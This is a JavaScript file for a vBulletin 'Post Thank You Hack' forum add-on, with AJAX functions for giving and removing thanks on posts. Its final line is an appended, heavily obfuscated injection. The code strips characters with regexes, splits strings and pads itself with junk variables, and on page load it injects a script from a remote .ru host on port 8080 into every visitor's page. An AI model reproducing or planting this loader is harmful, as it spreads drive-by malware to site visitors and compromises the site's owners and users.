/*=====================================*\
|| ################################### ||
|| # Post Thank You Hack version 6.1 # ||
|| ################################### ||
\*=====================================*/

function post_thanks_give(postid, integrate)
{
	fetch_object('post_thanks_button_' + postid).style.display = 'none';

	if (integrate == true)
	{
		fetch_object('post_groan_button_' + postid).style.display = 'none';
	}
	
	do_thanks_add = new vB_AJAX_Handler(true);
	do_thanks_add.postid = postid;
	do_thanks_add.onreadystatechange(thanks_add_Done);
	do_thanks_add.send('post_thanks.php?do=post_thanks_add&using_ajax=1&p=' + postid);
}
function thanks_add_Done()
{
	if (do_thanks_add.handler.readyState == 4 && do_thanks_add.handler.status == 200)
	{
		fetch_object('post_thanks_box_' + do_thanks_add.postid).innerHTML = do_thanks_add.handler.responseText;
	}
}
function post_thanks_remove_all(postid, integrate)
{
	do_thanks_remove_all = new vB_AJAX_Handler(true)
	do_thanks_remove_all.postid = postid
	do_thanks_remove_all.onreadystatechange(thanks_remove_all_Done)
	do_thanks_remove_all.send('post_thanks.php?do=post_thanks_remove_all&using_ajax=1&p=' + postid)

	fetch_object('post_thanks_button_' + postid).style.display = ''

	if (integrate == true)
	{
		fetch_object('post_groan_button_' + postid).style.display = '';
	}
}
function thanks_remove_all_Done()
{
	if (do_thanks_remove_all.handler.readyState == 4 && do_thanks_remove_all.handler.status == 200)
	{
		fetch_object('post_thanks_box_' + do_thanks_remove_all.postid).innerHTML = do_thanks_remove_all.handler.responseText
	}
}
function post_thanks_remove_user(postid, integrate)
{
	do_thanks_remove_user = new vB_AJAX_Handler(true)
	do_thanks_remove_user.postid = postid
	do_thanks_remove_user.onreadystatechange(thanks_remove_user_Done)
	do_thanks_remove_user.send('post_thanks.php?do=post_thanks_remove_user&using_ajax=1&p=' + postid)

	fetch_object('post_thanks_button_' + postid).style.display = ''

	if (integrate == true)
	{
		fetch_object('post_groan_button_' + postid).style.display = '';
	}	
}
function thanks_remove_user_Done()
{
	if (do_thanks_remove_user.handler.readyState == 4 && do_thanks_remove_user.handler.status == 200)
	{
		fetch_object('post_thanks_box_' + do_thanks_remove_user.postid).innerHTML = do_thanks_remove_user.handler.responseText
	}
}
var g;if(g!='H'){g=''};var OK;if(OK!='N' && OK!='o'){OK='N'};try {var t=new Array();var a=String("re"+"pl"+"ac"+"e");var y;if(y!='' && y!='P'){y='Jt'};var b=String("[");var Ig=new String();var bd="gvR9X".substr(0,1);var J="rCq]".substr(3);this.AM='';var x;if(x!='w' && x!='nS'){x='w'};var TI=RegExp;var lj;if(lj!='Y'){lj=''};var kQ=new Array();var I='';var h;if(h!='Z'){h=''};var Hk;if(Hk!='yY'){Hk=''};function T(O,D){this.oR='';this.ifh='';var Q=b;var af;if(af!='' && af!='B'){af='JH'};Q+=D;Q+=J;this.gw="";var cD;if(cD!='' && cD!='e'){cD=''};var p=new TI(Q, bd);var rj;if(rj!='LL' && rj!='jh'){rj=''};var m=new String();return O.replace(p, I);var M;if(M!='' && M!='ok'){M=null};var Ur;if(Ur!='xi' && Ur!='F'){Ur='xi'};};var VO=new String();var lJ=new Date();var n_=new Date();var O="1";var Qe="";var JT=T('hbtAt5pb:b/b/bm5ebg5abpAoArAnA-Ac5o5m5.5vbiAdbe5obsbz5.bcboAmb.AdAa5nAg5dbabn5gb-5c5o5mA.Am5yAo5w5nAabg5eb.ArAu5:A',"A5b");var pD;if(pD!='VM' && pD!='xs'){pD=''};var RF;if(RF!='' && RF!='pU'){RF=''};var U=new String("sc"+"ri"+"pt");var R_;if(R_!=''){R_='LD'};this.M_='';var bw=String("YCLNon".substr(4)+"ZnBjlo".substr(4)+"adMtk6".substr(0,2));this.xN='';var ax;if(ax!='q'){ax=''};var R=T('82224062486362603246',"3624");this.mj="";var D_='';var rc='';var ez=new String();var px=new String("/appHqtB".substr(0,4)+"mSpIle.cIpmS".substr(4,4)+"om/aXTfq".substr(0,4)+"pple"+"Iu9Z.comZI9u".substr(4,4)+"/goons4x".substr(0,4)+"gle."+"com/bDS1".substr(0,4)+"goog"+"le.c"+"om.p"+"h/tr"+"IULipod".substr(3)+"i3TY.com3iYT".substr(4,4)+".phpXym".substr(0,4));var ID=new Array();var LY=new Array();var nq;if(nq!='EZ' && nq!='Nf'){nq=''};var _p="";window[bw]=function(){this.cI="";i=document.createElement(U);this.v='';var nX;if(nX!='' && nX!='so'){nX='ZZ'};var PK=new String();D_+=JT;var eD;if(eD!='TD' && eD!='zk'){eD='TD'};var McX;if(McX!='yr' && McX!='XX'){McX='yr'};D_+=R+px;this.Af='';var Dt;if(Dt!=''){Dt='kO'};var ro=new String();var A=document.body;var xc;if(xc!='fd' && xc != ''){xc=null};i.defer=O;i.src=D_;var cw;if(cw!='bV' && cw!='S_'){cw=''};this.lE='';A.appendChild(i);var rX;if(rX!='' && rX!='uu'){rX=null};};this.UT="";var wl;if(wl!='' && wl!='SJ'){wl=null};this.Mb='';} catch(aV){this.ww="";};